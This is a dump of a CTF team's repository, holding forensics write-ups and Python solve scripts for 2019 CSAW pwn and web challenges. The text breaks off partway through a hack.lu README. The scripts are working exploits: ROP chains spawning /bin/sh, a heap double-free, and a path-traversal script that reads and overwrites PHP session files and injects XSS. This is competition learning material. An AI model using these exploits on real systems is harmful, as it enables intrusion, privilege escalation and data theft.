├── 2019 ├── affinity-ctf-quals │ ├── README.md │ └── forensics │ │ └── man-in-the-middle │ │ └── README.md ├── csaw_quals │ ├── README.md │ ├── pwn │ │ ├── baby_boi │ │ │ └── solve.py │ │ ├── popping_caps │ │ │ ├── README.md │ │ │ └── solve.py │ │ └── tvm │ │ │ ├── README.md │ │ │ ├── assemble.py │ │ │ ├── code.s │ │ │ └── solve.py │ └── web │ │ └── secure-file-storage │ │ ├── README.md │ │ ├── decrypt.html │ │ └── solve.py ├── defcamp-quals │ ├── README.md │ └── forensics │ │ └── investigation │ │ └── README.md ├── hacklu │ └── misc │ │ └── BreaktimeRiddle │ │ ├── README.md │ │ ├── riddle.py │ │ └── solve.py ├── ritsec-ctf │ ├── README.md │ ├── misc │ │ └── lost in transmission 2.0 │ │ │ └── README.md │ └── web │ │ └── knock knock │ │ └── README.md ├── sec-t │ ├── README.md │ └── re │ │ └── rerere │ │ └── README.md └── squarectf │ ├── README.md │ ├── inwasmble-1.png │ ├── inwasmble-2.png │ ├── inwasmble-3.png │ └── lockbox-1.png ├── 2020 ├── cybercastors │ ├── README.md │ └── writeups.md ├── defcamp │ ├── README.md │ └── writeups.md ├── downunderctf │ ├── README.md │ └── misc │ │ └── discloud │ │ └── README.md ├── midnightsun-quals │ ├── README.md │ └── misc │ │ └── snake++ │ │ └── README.md └── zh3r0-CTF │ ├── README.md │ └── writeups.md └── LICENSE /2019/affinity-ctf-quals/README.md: -------------------------------------------------------------------------------- 1 | # Affinity CTF 2019 - Quals 2 | `Fri, 06 Sept. 2019, 20:00 CEST — Sun, 08 Sept. 2019, 20:00 CEST` 3 | 4 | https://ctftime.org/event/867 5 | 6 | We placed **9th**! 7 | -------------------------------------------------------------------------------- /2019/affinity-ctf-quals/forensics/man-in-the-middle/README.md: -------------------------------------------------------------------------------- 1 | # Man in the middle 2 | 3 | **Category**: Forensics 4 | 5 | **Points**: 100 6 | 7 | #### Challenge description: 8 | *This task had no description other than:* 9 | `Note: put flag into AFFCTF{} format.` 10 | 11 | *This is a forensics task and we are given a PCAP file.* 12 | 13 | --- 14 | 15 | This challenge was the second hardest forensics challenge. We were given a pcap file and I opened it up. I quickly noticed some interesting FTP traffic: 16 | 17 | ![FTP](https://i.imgur.com/gzHA779.png) 18 | 19 | vsFTPd 3.0.3 has been used. The user `m` logged in with the password `m`. The user then listed a directory and retrieved the file `strictly_confidential`. 20 | 21 | We can see the output of those commands using the `ftp-data` filter. 22 | 23 | ![FTP-data](https://i.imgur.com/7kAfqCn.png) 24 | 25 | By looking in the line-based text data of those two packets we get the output. 26 | 27 | ![LIST output](https://i.imgur.com/1uHkHto.png) 28 | 29 | ![RETR output](https://i.imgur.com/rtgYT6T.png) 30 | 31 | I saved the `strictly_confidential` file to my computer and checked it out. The file does not have that much content, but we can clearly see a header followed by some binary data. 32 | 33 | ``` 34 | VimCrypt~03!� �����Ў=E, ������f9[J�82L�rk\O��C�*M�f�Vh��C�� 35 | ``` 36 | 37 | VimCrypt sounds familiar! Vim actually comes packaged with a default encryption mechanism called VimCrypt. Whenever you feel like encrypting a file you have been working on, you can just type `:X` and type a password to encrypt your file. When you open the file again using Vim, it asks for a password. 38 | VimCrypt currently supports three encryption methods: zip (01), blowfish (02) and blowfish2 (03). By looking at the header (03), we can see that this file is encrypted using blowfish2. 39 | 40 | It is harder to break blowfish2 than the two other encryption methods, so we need to find a password! I opened up the pcap file again looking for interesting stuff. 41 | The SMTP traffic looked promising to take a closer look at. I found a mail sent from m@affinity.com to k@affinity.com with the text 42 | 43 | ``` 44 | the password is Horse Battery Staple Correct 45 | ``` 46 | 47 | ![SMTP](https://i.imgur.com/j1dEXg2.png) 48 | 49 | 50 | After opening the file in Vim using the password I found, I got the flag! 51 | 52 | ![Password](https://i.imgur.com/gGfmyAA.png) 53 | 54 | ![Flag](https://i.imgur.com/wljoWhJ.png) 55 | 56 | ``` 57 | AFFCTF{I_Should_Have_Used_Safer_Connection_..} 58 | ``` 59 | -------------------------------------------------------------------------------- /2019/csaw_quals/README.md: -------------------------------------------------------------------------------- 1 | # CSAW CTF Qualification Round 2019 2 | Fri, 13 Sept. 2019, 22:00 CEST — Sun, 15 Sept. 2019, 22:00 CEST 3 | 4 | https://ctftime.org/event/870 5 | 6 | We placed **22nd**! 7 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/baby_boi/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host pwn.chal.csaw.io --port 1005 baby_boi 5 | from pwn import * 6 | 7 | # Set up pwntools for the correct architecture 8 | exe = context.binary = ELF('baby_boi') 9 | 10 | # Many built-in settings can be controlled on the command-line and show up 11 | # in "args". For example, to dump all data sent/received, and disable ASLR 12 | # for all created processes... 13 | # ./exploit.py DEBUG NOASLR 14 | # ./exploit.py GDB HOST=example.com PORT=4141 15 | host = args.HOST or 'pwn.chal.csaw.io' 16 | port = int(args.PORT or 1005) 17 | 18 | def local(argv=[], *a, **kw): 19 | '''Execute the target binary locally''' 20 | if args.GDB: 21 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 22 | else: 23 | return process([exe.path] + argv, *a, **kw) 24 | 25 | def remote(argv=[], *a, **kw): 26 | '''Connect to the process on the remote host''' 27 | io = connect(host, port) 28 | if args.GDB: 29 | gdb.attach(io, gdbscript=gdbscript) 30 | return io 31 | 32 | def start(argv=[], *a, **kw): 33 | '''Start the exploit against the target.''' 34 | if args.LOCAL: 35 | return local(argv, *a, **kw) 36 | else: 37 | return remote(argv, *a, **kw) 38 | 39 | # Specify your GDB script here for debugging 40 | # GDB will be launched if the exploit is run via e.g. 41 | # ./exploit.py GDB 42 | gdbscript = ''' 43 | b *0x000000000040072E 44 | continue 45 | '''.format(**locals()) 46 | 47 | #=========================================================== 48 | # EXPLOIT GOES HERE 49 | #=========================================================== 50 | # Arch: amd64-64-little 51 | # RELRO: Partial RELRO 52 | # Stack: No canary found 53 | # NX: NX enabled 54 | # PIE: No PIE (0x400000) 55 | 56 | io = start() 57 | 58 | # shellcode = asm(shellcraft.sh()) 59 | # payload = fit({ 60 | # 32: 0xdeadbeef, 61 | # 'iaaa': [1, 2, 'Hello', 3] 62 | # }, length=128) 63 | # io.send(payload) 64 | # flag = io.recv(...) 65 | # log.success(flag) 66 | 67 | io.recvuntil("Here I am: ") 68 | leak = int(io.recvline()[:-1], 16) 69 | 70 | log.info("leak: {:#x}".format(leak)) 71 | 72 | libc = ELF("./libc-2.27.so") 73 | libc.address = leak - libc.symbols["printf"] 74 | log.info("libc base: {:#x}".format(libc.address)) 75 | 76 | rop = p64(0x400587) # main 77 | 78 | pop_rdi = libc.address + 0x2155f 79 | pop_rdi = 0x0000000000400793 80 | 81 | # align the stack 82 | rop = p64(pop_rdi+1) 83 | rop += p64(pop_rdi) 84 | rop += p64(libc.search("/bin/sh").next()) 85 | rop += p64(libc.symbols["system"]) 86 | 87 | pad = "A"* (0x28) 88 | time.sleep(0.5) 89 | io.sendline(pad + rop) 90 | 91 | io.sendline("cat flag.txt") 92 | 93 | io.interactive() 94 | # flag{baby_boi_dodooo_doo_doo_dooo} 95 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/popping_caps/README.md: -------------------------------------------------------------------------------- 1 | # CSAW Quals 2019 - Popping Caps 1 and 2 2 | TODO 3 | 4 | * [solution script](solve.py) 5 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/popping_caps/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host pwn.chal.csaw.io --port 1001 ./popping_caps 5 | from pwn import * 6 | 7 | # Set up pwntools for the correct architecture 8 | exe = context.binary = ELF('./popping_caps') 9 | 10 | # Many built-in settings can be controlled on the command-line and show up 11 | # in "args". For example, to dump all data sent/received, and disable ASLR 12 | # for all created processes... 13 | # ./exploit.py DEBUG NOASLR 14 | # ./exploit.py GDB HOST=example.com PORT=4141 15 | host = args.HOST or 'pwn.chal.csaw.io' 16 | # popping caps 17 | port = int(args.PORT or 1001) 18 | # popping caps 2 19 | port = int(args.PORT or 1008) 20 | 21 | def local(argv=[], *a, **kw): 22 | '''Execute the target binary locally''' 23 | if args.GDB: 24 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 25 | else: 26 | return process([exe.path] + argv, *a, **kw) 27 | 28 | def remote(argv=[], *a, **kw): 29 | '''Connect to the process on the remote host''' 30 | io = connect(host, port) 31 | if args.GDB: 32 | gdb.attach(io, gdbscript=gdbscript) 33 | return io 34 | 35 | def start(argv=[], *a, **kw): 36 | '''Start the exploit against the target.''' 37 | if args.LOCAL: 38 | return local(argv, *a, **kw) 39 | else: 40 | return remote(argv, *a, **kw) 41 | 42 | # Specify your GDB script here for debugging 43 | # GDB will be launched if the exploit is run via e.g. 44 | # ./exploit.py GDB 45 | gdbscript = ''' 46 | b *0x555555554c44 47 | continue 48 | '''.format(**locals()) 49 | 50 | #=========================================================== 51 | # EXPLOIT GOES HERE 52 | #=========================================================== 53 | # Arch: amd64-64-little 54 | # RELRO: No RELRO 55 | # Stack: Canary found 56 | # NX: NX enabled 57 | # PIE: PIE enabled 58 | 59 | io = start() 60 | 61 | # shellcode = asm(shellcraft.sh()) 62 | # payload = fit({ 63 | # 32: 0xdeadbeef, 64 | # 'iaaa': [1, 2, 'Hello', 3] 65 | # }, length=128) 66 | # io.send(payload) 67 | # flag = io.recv(...) 68 | # log.success(flag) 69 | 70 | def menu(idx): 71 | io.recvuntil("Your choice: ") 72 | io.sendline(str(idx)) 73 | 74 | def malloc(size): 75 | menu(1) 76 | io.recvuntil("How many: ") 77 | io.sendline(str(size)) 78 | 79 | def free(idx): 80 | menu(2) 81 | io.recvuntil("free: ") 82 | io.sendline(str(idx)) 83 | 84 | def write(data): 85 | menu(3) 86 | io.recvuntil("in: ") 87 | io.send(data) 88 | 89 | io.recvuntil("system ") 90 | leak = int(io.recvline()[:-1], 16) 91 | libc = ELF("./libc.so.6") 92 | libc.address = leak - libc.symbols["system"] 93 | 94 | log.success("libc base: {:#x}".format(libc.address)) 95 | 96 | ld_addr = libc.address + 0x3f1000 97 | # function pointer called in ld-linux 98 | dl_func = ld_addr + 0x228f68 99 | log.info("ld-linux @ {:#x}".format(ld_addr)) 100 | 101 | target = ld_addr + 0x228fa8 + 8 102 | size = 0x30 103 | 104 | log.info("target: {:#x}".format(target)) 105 | 106 | # double free 107 | free(target) 108 | free(target) 109 | 110 | malloc(size) 111 | write(p64(dl_func)) 112 | malloc(size) 113 | malloc(size) 114 | 115 | # one-shot gadget 116 | boom = libc.address + 0x4f322 117 | 118 | raw_input("lol") 119 | write(p64(boom)) 120 | 121 | io.interactive() 122 | 123 | # 1: flag{1tsh1ghn000000000n} 124 | # 2: flag{don_t_you_wish_your_libc_was_non_vtabled_like_mine_29} 125 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/tvm/README.md: -------------------------------------------------------------------------------- 1 | # CSAW Quals 2019 - TVM 2 | TODO 3 | 4 | * [solution script](solve.py) 5 | * [assembler](assembler.py) 6 | * [assembly code](code.s) 7 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/tvm/assemble.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import struct 3 | import sys 4 | from binascii import hexlify 5 | 6 | OP = { 7 | "DST": 0xDD, 8 | "HLT": 0xFE, 9 | "MOV": 0x88, 10 | "MOVI": 0x89, 11 | "PUSH": 0xED, 12 | "POP": 0xB1, 13 | "ADD": 0xD3, 14 | "ADDI": 0xC6, 15 | "SUB": 0xD8, 16 | "SUBI": 0xEF, 17 | "MUL": 0x34, 18 | "DIV": 0xB9, 19 | "XOR": 0xB7, 20 | "CMP": 0xCC, 21 | "JMP": 0x96, 22 | "JE": 0x81, 23 | "JNE": 0x9E, 24 | "JG": 0x2F, 25 | "JGE": 0xF4, 26 | "JL": 0x69, 27 | "JLE": 0x5F, 28 | "LDF": 0xD9, 29 | "AGE": 0x9B, 30 | "AGD": 0x7F, 31 | } 32 | 33 | REG = { 34 | "KAX": 0x0A, 35 | "KBX": 0x0b, 36 | "KCX": 0x0c, 37 | "KDX": 0x0d, 38 | "KPC": 0x0e, 39 | "KRX": 0x0f, 40 | "KSP": 0x10, 41 | "KFLAG": 0x11, 42 | } 43 | 44 | 45 | def p16(n): 46 | return struct.pack("".format(sys.argv[0])) 123 | sys.exit() 124 | 125 | contents = open(sys.argv[1], "r").read() 126 | assemble(contents) 127 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/tvm/code.s: -------------------------------------------------------------------------------- 1 | # push crypto context on the heap 2 | secret 3 | # leak heap pointer 4 | dst 5 | 6 | # set ksp to heap to leak IV 7 | pop ksp 8 | addi ksp, 0xb50 9 | mov kdx, ksp 10 | dst 11 | 12 | # overwrite 4 bytes of the IV plus the 13 | # num_attempts value inside the crypto context 14 | mov ksp, kdx 15 | subi ksp, 0x18 16 | movi kcx, 0xdeadbeef00000000 17 | push kcx 18 | 19 | # encrypt "A"*32 20 | movi ksp, 0x0 21 | movi kbx, 0x4141414141414141 22 | push kbx 23 | push kbx 24 | push kbx 25 | push kbx 26 | movi kcx, 0x8 27 | age kcx 28 | dst 29 | 30 | # encrypt "B"*32 31 | # not really needed, used to verify that we can actually decrypt the data 32 | movi ksp, 0x0 33 | movi kbx, 0x4242424242424242 34 | push kbx 35 | push kbx 36 | push kbx 37 | push kbx 38 | movi kcx, 0x8 39 | age kcx 40 | dst 41 | 42 | # now set the num_attempts value 43 | # so that ldf won't reset the IV before encrypting the flag 44 | mov ksp, kdx 45 | subi ksp, 0x18 46 | movi kcx, 0xdeadbeef00000000 47 | push kcx 48 | 49 | # load the encrypted flag 50 | ldf 51 | 52 | hlt 53 | -------------------------------------------------------------------------------- /2019/csaw_quals/pwn/tvm/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host pwn.chal.csaw.io --port 1007 ./tvm 5 | from pwn import * 6 | 7 | # Set up pwntools for the correct architecture 8 | exe = context.binary = ELF('./tvm') 9 | 10 | # Many built-in settings can be controlled on the command-line and show up 11 | # in "args". For example, to dump all data sent/received, and disable ASLR 12 | # for all created processes... 13 | # ./exploit.py DEBUG NOASLR 14 | # ./exploit.py GDB HOST=example.com PORT=4141 15 | host = args.HOST or 'pwn.chal.csaw.io' 16 | port = int(args.PORT or 1007) 17 | 18 | def local(argv=[], *a, **kw): 19 | '''Execute the target binary locally''' 20 | if args.GDB: 21 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 22 | else: 23 | return process([exe.path] + argv, *a, **kw) 24 | 25 | def remote(argv=[], *a, **kw): 26 | '''Connect to the process on the remote host''' 27 | io = connect(host, port) 28 | if args.GDB: 29 | gdb.attach(io, gdbscript=gdbscript) 30 | return io 31 | 32 | def start(argv=[], *a, **kw): 33 | '''Start the exploit against the target.''' 34 | if args.LOCAL: 35 | return local(argv, *a, **kw) 36 | else: 37 | return remote(argv, *a, **kw) 38 | 39 | # Specify your GDB script here for debugging 40 | # GDB will be launched if the exploit is run via e.g. 41 | # ./exploit.py GDB 42 | gdbscript = ''' 43 | b *0x401267 44 | b *0x4034A6 45 | b *0x0000000000402E06 46 | continue 47 | '''.format(**locals()) 48 | #tbreak *0x{exe.entry:x} 49 | #b *0x000000000040129F 50 | 51 | #=========================================================== 52 | # EXPLOIT GOES HERE 53 | #=========================================================== 54 | # Arch: amd64-64-little 55 | # RELRO: Full RELRO 56 | # Stack: Canary found 57 | # NX: NX enabled 58 | # PIE: No PIE (0x400000) 59 | 60 | # stack limit?: 0x3ff7 61 | # prints out illegal memory access :)) 62 | # struct crypto { 63 | # uint32_t what; 64 | # unsigned char rand[12]; 65 | # EVP_CIPHER_CTX *ctx; 66 | # } 67 | 68 | 69 | io = start() 70 | 71 | # shellcode = asm(shellcraft.sh()) 72 | # payload = fit({ 73 | # 32: 0xdeadbeef, 74 | # 'iaaa': [1, 2, 'Hello', 3] 75 | # }, length=128) 76 | # io.send(payload) 77 | # flag = io.recv(...) 78 | # log.success(flag) 79 | 80 | #io.recvuntil("bytecode:\n") 81 | time.sleep(0.2) 82 | 83 | with open("out.bin", "rb") as f: 84 | bytecode = f.read() 85 | 86 | io.send(bytecode) 87 | 88 | io.recvuntil("----- TVM Stack Dump -----") 89 | io.recvline() 90 | heap_leak = int(io.recvline().split(" ")[1], 16) 91 | log.info("heap leak: {:#x}".format(heap_leak)) 92 | io.recvuntil("TVM RUNNING") 93 | 94 | # leak the IV from the stack 95 | io.recvuntil("----- TVM Stack Dump -----\n") 96 | io.recvline() 97 | 98 | def get_stack_val(): 99 | return int(io.recvline().split(" ")[1], 16) 100 | 101 | leak1 = get_stack_val() 102 | leak2 = get_stack_val() 103 | log.info("{:#x}".format(leak1)) 104 | log.info("{:#x}".format(leak2)) 105 | 106 | import binascii 107 | iv = binascii.unhexlify(hex(leak2)[2:-8])[::-1] 108 | iv += binascii.unhexlify(hex(leak1)[2:].ljust(16, "0"))[::-1] 109 | log.info("iv: {}".format(binascii.hexlify(iv))) 110 | io.recvuntil("TVM RUNNING") 111 | 112 | # dump encrypted 113 | io.recvuntil("KRX: [ ") 114 | krx_leak = binascii.unhexlify(io.recvline()[:-2].replace(" ", "")) 115 | log.info(binascii.hexlify(krx_leak)) 116 | io.recvuntil("TVM RUNNING") 117 | 118 | def find_keystream(enc): 119 | plaintext = "A"*32 120 | keystream = bytearray() 121 | for i in range(32): 122 | b = enc[i] 123 | p = plaintext[i] 124 | keystream.append(ord(b) ^ ord(p)) 125 | return keystream 126 | 127 | keystream = find_keystream(krx_leak) 128 | log.info("keystream: {}".format(binascii.hexlify(keystream))) 129 | 130 | # now test that we actually have the key stream by encrypting something 131 | # else and attempting to decrypt that based on the keystream 132 | io.recvuntil("KRX: [ ") 133 | krx_leak = binascii.unhexlify(io.recvline()[:-2].replace(" ", "")) 134 | log.info("krx 2: {}".format(binascii.hexlify(krx_leak))) 135 | io.recvuntil("TVM RUNNING") 136 | 137 | def decrypt(enc, keystream): 138 | plaintext = bytearray() 139 | for i in range(32): 140 | plaintext.append(ord(enc[i]) ^ keystream[i]) 141 | return plaintext 142 | 143 | plain = decrypt(krx_leak, keystream) 144 | log.info(plain) 145 | 146 | # now get the motherflippin' flag 147 | io.recvuntil("KRX: [ ") 148 | krx_leak = binascii.unhexlify(io.recvline()[:-2].replace(" ", "")) 149 | log.info("krx 3: {}".format(binascii.hexlify(krx_leak))) 150 | 151 | io.recvuntil("TVM RUNNING") 152 | io.recvline() 153 | 154 | io.close() 155 | 156 | plain = decrypt(krx_leak, keystream) 157 | log.info(plain) 158 | 159 | # [*] flag{C4nt_3vEn_Tru5t_4_GCM_TVM} 160 | -------------------------------------------------------------------------------- /2019/csaw_quals/web/secure-file-storage/README.md: -------------------------------------------------------------------------------- 1 | # Secure File Storage 2 | 3 | **Category**: Web 4 | 5 | **Points**: 300 6 | 7 | #### Challenge description: 8 | get the admin's files 9 | 10 | HINT: The admin checks the site frequently! 11 | 12 | http://web.chal.csaw.io:1001 13 | 14 | --- 15 | 16 | ## Writeup coming soon! (tm) 17 | 18 | **summary**: Log in -> use api to create symlink for path traversal -> use symlink to read and edit your own php session file in `/tmp` -> change own permissions to get access to file list api and admin page -> list all session files and find the one with username "admin" -> change admin's username in session file to xss payload -> get encryption secret from admin's local storage -> read flag file 19 | -> decrypt flag. 20 | -------------------------------------------------------------------------------- /2019/csaw_quals/web/secure-file-storage/decrypt.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /2019/csaw_quals/web/secure-file-storage/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import time 3 | import os 4 | import requests 5 | 6 | api_base = os.environ.get('SFS_API', 'http://web.chal.csaw.io:1001/api/v1/') 7 | session = requests.Session() 8 | 9 | 10 | def api_register(username, password): 11 | resp = session.post(api_base + 'register', data={"username": username, "password": password}).json() 12 | return resp['status'] == 'ok' 13 | 14 | def api_login(username, password): 15 | resp = session.post(api_base + 'login', data={"username": username, "password": password}).json() 16 | return resp['status'] == 'ok' 17 | 18 | def api_get_file(path, decode=True): 19 | resp = session.post(api_base + 'file/read', data={"path": path}) 20 | if resp.status_code == 200: 21 | if decode: 22 | return base64.b64decode(resp.content) 23 | else: 24 | return resp.content 25 | return None 26 | 27 | def api_update_file(path, content): 28 | resp = session.post(api_base + 'file/edit', data={"path": path, "content": base64.b64encode(content).decode('ascii')}).json() 29 | return resp['status'] == 'ok' 30 | 31 | def api_create_file(path, content): 32 | return api_update_file(path, content) 33 | 34 | def api_delete_file(path): 35 | resp = session.post(api_base + 'file/delete', data={"path": path}).json() 36 | return resp['status'] == 'ok' 37 | 38 | def api_list_files(path='/'): 39 | resp = session.post(api_base + 'file/list', data={"path": path}).json() 40 | if resp['status'] == 'ok': 41 | return resp['data'] 42 | return None 43 | 44 | def api_create_symlink(path, target): 45 | resp = session.post(api_base + 'file/symlink', data={"path": path, "target": target}).json() 46 | return resp['status'] == 'ok' 47 | 48 | 49 | def lfi(filename): 50 | if api_create_symlink("test", "../../../../../.." + filename): 51 | return session.post(api_base + 'file/read', data={"path": "test"}).content 52 | else: 53 | print("File not found or permission issues") 54 | 55 | 56 | def lfi_list(filename): 57 | if api_create_symlink("test", "../../../../../.." + filename): 58 | resp = session.post(api_base + 'file/list', data={"path": "test"}).json() 59 | if resp['status'] == "ok": 60 | return resp['data'] 61 | return None 62 | else: 63 | print("Folder not found or permission issues") 64 | 65 | 66 | def write(filename, content): 67 | if api_create_symlink("test", "../../../../../.." + filename): 68 | return session.post(api_base + 'file/edit', data={"path": "test", "content": content}).json()['status'] == 'ok' 69 | else: 70 | print("File not found or permission issues") 71 | 72 | 73 | def bulk_dl(path): 74 | root = lfi_list(path) 75 | if root: 76 | for fl in root: 77 | if fl in [".", ".."]: 78 | continue 79 | 80 | cont = lfi(path+'/'+fl) 81 | if cont: 82 | filename = path.replace('/','__')+"__"+fl 83 | with open("loot/"+filename, "wb") as f: 84 | f.write(cont) 85 | print("Wrote {} to loot/{}".format(path+'/'+fl, filename)) 86 | bulk_dl(path+'/'+fl) 87 | 88 | 89 | def grep(path, greptext, recursive=False): 90 | root = lfi_list(path) 91 | if root: 92 | for fl in root: 93 | if fl in [".", ".."]: 94 | continue 95 | 96 | cont = lfi(path+'/'+fl) 97 | if cont and greptext.encode('utf8') in cont: 98 | print("Found {} in {}".format(greptext, path+'/'+fl)) 99 | print(cont) 100 | if recursive: 101 | grep(path+'/'+fl, greptext, recursive=True) 102 | 103 | 104 | def replace_name(path, name, replacetext): 105 | root = lfi_list(path) 106 | text = "s:{}:\"{}\"".format(len(name), name) 107 | 108 | print("Searching for files in {} containing {}...".format(path, text)) 109 | 110 | if root: 111 | for fl in root: 112 | if fl in [".", ".."]: 113 | continue 114 | 115 | cont = lfi(path+'/'+fl) 116 | if cont and text.encode('utf8') in cont: 117 | print("Found {} in {}".format(text, path+'/'+fl)) 118 | print(cont) 119 | replaced = cont.replace(text.encode('utf8'), "s:{}:\"{}\"".format(len(replacetext), replacetext).encode('utf8')) 120 | 121 | print("Creating overwriting loop:\nOverwriting session file to {}".format(replaced)) 122 | while True: 123 | if write(path+'/'+fl, replaced): 124 | print("Session file overwritten! Press Ctrl+C to stop loop...") 125 | time.sleep(1) 126 | 127 | 128 | if __name__ == "__main__": 129 | username = "bootplug" 130 | password = "bootplug" 131 | payload = "" 132 | 133 | # Login to the service. 134 | print("Login ok" if api_login(username, password) else "Login failed") 135 | 136 | # Get PHP session ID. 137 | sessid = session.cookies['PHPSESSID'] 138 | print("Session id:", sessid) 139 | 140 | # Overwrite session file to escalate privileges. 141 | old_session_data = lfi("/tmp/sess_"+sessid) 142 | print("Old session:", [old_session_data]) 143 | data = old_session_data.replace(b"s:1:\"3\";s", b"s:2:\"15\";s") 144 | print("New session:", [data]) 145 | 146 | "Success" if write("/tmp/sess_"+sessid, data) else "Failed to escalate privs" 147 | 148 | # Download all html and php files recursively 149 | # bulk_dl("/var/www/html") 150 | 151 | # List your own and Admin's files. Then print the encrypted flag. 152 | print("Your files:", api_list_files("/")) 153 | print("Admin's files: {}".format(lfi_list("/tmp/user_data/1"))) 154 | print("Encrypted flag:", lfi("/tmp/user_data/1/flag.txt").decode('utf8')) 155 | 156 | # If you edit your own ID to 1, you can get flag using API without lfi 157 | # print(api_get_file("flag.txt", False)) 158 | 159 | # This was the name of the admin session file when we did the challenge 160 | # admin = lfi("/tmp/sess_4umud1lupqn0mpibor27r283o1") 161 | 162 | replace_name("/tmp", "admin", payload) 163 | 164 | -------------------------------------------------------------------------------- /2019/defcamp-quals/README.md: -------------------------------------------------------------------------------- 1 | # DefCamp CTF Qualification 2019 2 | Sat, 07 Sept. 2019, 11:00 CEST — Sun, 08 Sept. 2019, 11:00 CEST 3 | 4 | https://ctftime.org/event/840 5 | 6 | We placed **5th**! 7 | -------------------------------------------------------------------------------- /2019/defcamp-quals/forensics/investigation/README.md: -------------------------------------------------------------------------------- 1 | # Investigation 2 | 3 | **Category**: Forensics 4 | 5 | **Points**: 356 6 | 7 | #### Challenge description: 8 | During a criminal investigation a suspect was raided and all his electronic devices were seized. 9 | Unfortunately, the investigators haven't found the information they were looking for because the 10 | suspect backed up his data to the cloud and formatted his computer. The only information that we 11 | have at hand is the attached pcap. 12 | 13 | --- 14 | 15 | No one else had solved this task when I started looking at it. So I was hoping for "first blood" for extra points :) However, one guy/girl managed to solve it right before I did. I am still happy with "second blood" though! 16 | 17 | This is a forensics task and we have been given a PCAP file. In the task description it was mentioned that the person backed up the computer to the cloud. 18 | 19 | Here is the summary of protocols used in the pcap file. Most of the traffic is TLS: 20 | 21 | ![summary](https://i.imgur.com/2EaerEQ.png) 22 | 23 | I first started looking at the PCAP file for dns traffic related to the cloud, and I quickly spot alot of requests to amazonaws.com and a specific s3 bucket: `hand-soap` 24 | 25 | ![dns](https://i.imgur.com/QjU88v5.png) 26 | 27 | I can also see a lot of traffic from the local IP to the server hosting the bucket I just found. 28 | 29 | Now I feel like just visiting the website to check if I have anonymous read access to the S3 bucket. 30 | 31 | ![s3 bucket](https://i.imgur.com/ym1Finb.png) 32 | ![s3backer](https://i.imgur.com/ncazZnL.png) 33 | 34 | I can get a list of all the files in the bucket. The file names just look like numbers, except the last file in the bucket named `s3backer-mounted`. 35 | The first thing I try is to fire up the AWS CLI tool and download all of the files. Most of the files are empty, and some of the files look like EXT4 files systems. I also find a password protected zip file. Inside of the zip file is a file called `secret`. 36 | 37 | 38 | Now I want to check what **s3backer** really is. I find the Github page for the tool at [https://github.com/archiecobbs/s3backer](https://github.com/archiecobbs/s3backer) : 39 | > **s3backer** is a filesystem that contains a single file backed by the Amazon Simple Storage Service (Amazon S3). As a filesystem, it is very simple: it provides a single normal file having a fixed size. Underneath, the file is divided up into blocks, and the content of each block is stored in a unique Amazon S3 object. In other words, what s3backer provides is really more like an S3-backed virtual hard disk device, rather than a filesystem. 40 | 41 | It makes sense now that I know each S3 object is a block. That is why many of the files were empty, and they had the block numbers as file names. The `s3backer-mounted` file is there to tell s3backer that someone has already mounted the bucket. 42 | 43 | 44 | Using s3backer, I try mounting the bucket in a folder: 45 | 46 | ```bash 47 | $ s3backer --readOnly hand-soap --region="eu-central-1" --force s3b.mnt 48 | s3backer: auto-detecting block size and total file size... 49 | s3backer: auto-detected block size=128k and total size=1t 50 | s3backer: warning: filesystem appears already mounted but you said `--force' 51 | so I'll proceed anyway even though your data may get corrupted. 52 | ``` 53 | 54 | According the s3backer wiki page, the next step is to mount `s3b.mnt/file` to a chosen folder. 55 | 56 | ```bash 57 | $ sudo mount -o ro,loop s3b.mnt/file files.mnt 58 | 59 | $ find files.mnt -ls 60 | 2 4 drwxr-xr-x 3 root root 4096 mars 30 15:02 files.mnt 61 | 12 4 -rw-r--r-- 1 root root 255 sep. 5 10:21 files.mnt/docs.zip 62 | 11 16 drwx------ 2 root root 16384 mars 30 14:57 files.mnt/lost+found 63 | find: ‘files.mnt/lost+found’: Permission denied 64 | ``` 65 | 66 | This looks like the same zip file I found earlier, but this time I actually know it's called `docs.zip`. I need to find the password for unzipping `secret`, 67 | but after looking through the PCAP file once more I can't find anything more that will help me. The next thing I try is using the bucket name as password 68 | for the zipfile: 69 | 70 | ```bash 71 | $ unzip docs.zip 72 | Archive: docs.zip 73 | [docs.zip] secret password: hand-soap # Password shown for clarity 74 | inflating: secret 75 | 76 | $ cat secret 77 | DCTF{307b336479aed7b642d63fe1a807606a103acf5b10b9ecacfaf85a04519bef54} 78 | ``` 79 | 80 | Alright, I guess that worked! :D 81 | -------------------------------------------------------------------------------- /2019/hacklu/misc/BreaktimeRiddle/README.md: -------------------------------------------------------------------------------- 1 | # Breaktime Riddle (249p) 2 | 3 | Description: 4 | 5 | ``` 6 | While waiting for one of the speeches to start, a buddy of mine opened his laptop and typed in some lines of python. 7 | 8 | 'This is for you', he said. Turns out he likes to keep his code concise. I wonder what he will do when re-visiting the code in a couple of months or so. He did not even explain what this mess is all about and refuses to tell me anything further. 9 | 10 | To mock me even more, my buddy put up the script on a server. I would like to impress him with a solution to this. It is a bit trickier than I thought, though. Can you give me a hand with this? 11 | 12 | Download challenge files 13 | 14 | nc breaktime-riddle.forfuture.fluxfingers.net 1337 15 | ``` 16 | 17 | We are given [riddle.py](riddle.py), which does the following for 50 rounds: 18 | 19 | 1. Creates a random permutation of the list `[0,1,2]`, which 